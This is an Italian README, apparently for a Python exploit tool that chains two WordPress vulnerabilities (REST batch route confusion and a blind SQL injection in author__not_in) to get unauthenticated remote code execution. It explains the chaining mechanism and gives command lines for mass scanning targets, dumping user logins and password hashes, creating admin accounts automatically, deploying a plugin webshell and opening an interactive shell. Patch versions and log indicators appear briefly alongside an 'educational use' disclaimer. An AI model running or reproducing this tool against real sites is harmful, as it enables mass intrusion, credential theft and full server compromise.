
Strumento di exploit in Python che concatena la confusione di route batch REST di CVE-2026-63030 con l'iniezione SQL di CVE-2026-60137 per ottenere RCE non autenticato su WordPress, lettura del database e distribuzione di webshell.
Autore: LANGZ
CVE: CVE-2026-63030 (Concatenata con CVE-2026-60137)
Gravità: Critica (CVSS 9.8)
Tipo: Remote Code Execution (RCE) Pre-Autenticazione
Questo strumento è fornito esclusivamente per scopi educativi e per test di sicurezza autorizzati.
Utilizzando questo strumento, accetti che:
Se utilizzi questo strumento contro un sistema senza autorizzazione, stai commettendo un reato.
L'autore non approva, non supporta e non si assume alcuna responsabilità per tali azioni.
CVE-2026-63030 è una vulnerabilità di confusione delle route batch dell'API REST (CWE-436) nel core di WordPress, introdotta nella versione 6.9. Quando concatenata con CVE-2026-60137 (una blind SQL injection nel parametro author__not_in di WP_Query), consente a un attaccante non autenticato di ottenere la piena esecuzione di codice in remoto su un'installazione WordPress predefinita.
Cosa può fare un attaccante:
Perché è pericolosa:
Aggiorna WordPress a una versione corretta:
| Versione Attuale | Aggiorna A |
|---|---|
| 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.0 – 6.8.5 | 6.8.6 (solo fix SQLi) |
Nota: WordPress ha abilitato gli aggiornamenti automatici forzati, ma i siti con aggiornamenti automatici disabilitati o hosting gestito che ritarda gli aggiornamenti rimangono esposti. Verifica che l'aggiornamento sia stato applicato con successo.
POST verso /wp-json/batch/v1POST verso ?rest_route=/batch/v1Cerca:
POST insolite verso /wp-json/batch/v1 o ?rest_route=/batch/v1 nei log di accesso/wp-content/cache/ o altre directory accessibili dal webSe trovi indicatori di compromissione, rimuovere semplicemente i file e l'account admin non è sufficiente. Esegui una risposta completa all'incidente e considera una ricostruzione completa del sistema.
La catena di exploit combina due vulnerabilità:
Il processore batch dell'API REST di WordPress (serve_batch_request_v1) ha un bug di indicizzazione off-by-one. Quando wp_parse_url() fallisce su un percorso di sotto-richiesta (ad es., "///"), il WP_Error risultante viene inserito in $validation[] ma non in $matches[]. Questo desincronizza i due array, causando l'invio di ogni richiesta successiva sotto il gestore sbagliato.
Annidando un batch strutturato con cura all'interno di un altro batch, un attaccante può instradare una richiesta validata dallo schema di un endpoint attraverso il callback di un endpoint completamente diverso — aggirando completamente i controlli dei permessi.
La richiesta confusa finisce nel parametro author__not_in di WP_Query. WordPress converte la stringa in un array ma salta la sanificazione absint(), consentendo una SQL injection grezza. Lo strumento la utilizza per:
UNION SELECT)WP_PostUna volta completata la configurazione (scoperta del prefisso delle tabelle e dell'ID admin), il payload di escalation si attiva in una singola richiesta HTTP:
UNION)Lo strumento utilizza quindi le credenziali admin generate per distribuire una webshell basata su plugin per l'esecuzione di comandi a livello di sistema operativo.
# Single target check
python3 wp2shell.py http://target.com
# Check with active SQLi confirmation
python3 wp2shell.py http://target.com --confirm-sqli
# Read database (fingerprint)
python3 wp2shell.py http://target.com --read --preset fingerprint
# Read user logins and password hashes
python3 wp2shell.py http://target.com --read --preset users
# Deploy webshell and run a command
python3 wp2shell.py http://target.com --shell --cmd id
# Interactive shell
python3 wp2shell.py http://target.com --shell -i
# Mass scan from file
python3 wp2shell.py targets.txt
Esegui senza argomenti per aprire il menu interattivo:
python3 langz.py
══════════════════════════════════════════════════════════════
██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗
██║ ██╔══██╗████╗ ██║██╔════╝ ╚══███╔╝
██║ ███████║██╔██╗ ██║██║ ███╗ ███╔╝
██║ ██╔══██║██║╚██╗██║██║ ██║ ███╔╝
███████╗██║ ██║██║ ╚████║╚██████╔╝███████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝
▓▒░ L A N G Z T O O L S ░▒▓
Author : LANGZ
CVE : (CVE-2026-63030)
──────────────────────────────────────────────────────────────
[1] Single Target - Check
[2] Mass Target - Check
[3] Single Target - Auto Admin
[4] Mass Target - Auto Admin
[5] Exit
──────────────────────────────────────────────────────────────
Results -> Results/results.txt
══════════════════════════════════════════════════════════════
Questo progetto è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati.
L'autore LANGZ non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato da questo strumento.
Autore: LANGZ
CVE: CVE-2026-63030
| Aspetto | Dettaglio |
|---|
| Versioni Affette | WordPress 6.9.0 – 6.9.4, WordPress 7.0.0 – 7.0.1 |
| Affette Solo da SQLi | WordPress 6.8.0 – 6.8.5 (solo CVE-2026-60137) |
| Autenticazione Richiesta | Nessuna |
| Interazione Utente | Nessuna |
| Impatto | Compromissione completa del sito — lettura/scrittura del database, caricamento arbitrario di file PHP, esecuzione di comandi a livello di sistema operativo |
| Stato di Sfruttamento | Attivamente sfruttata in the wild; osservati oltre 62.802 IP attaccanti unici |
| Flag | Descrizione |
|---|
--timeout | Timeout della richiesta in secondi (predefinito: 15) |
--proxy | Proxy HTTP (ad es., http://127.0.0.1:8080) |
--threads | Thread paralleli per la scansione di massa (predefinito: 50) |
--sleep | Ritardo temporale SQL per la conferma blind (predefinito: 3) |
--samples | Coppie di timing per la conferma (predefinito: 3) |
--confirm-sqli | Invia payload di conferma SQLi attivo |
--preset | fingerprint o users |
--query | Espressione SQL personalizzata da leggere |
--prefix | Prefisso delle tabelle del database (predefinito: wp_) |
--max-length | Caratteri massimi per valore (predefinito: 128) |
--technique | auto, union, blind o error |
--user | Nome utente admin (per --shell) |
--password | Password admin (per --shell) |
--cmd | Comando da eseguire sul target |
-i, --interactive | Apre una shell interattiva |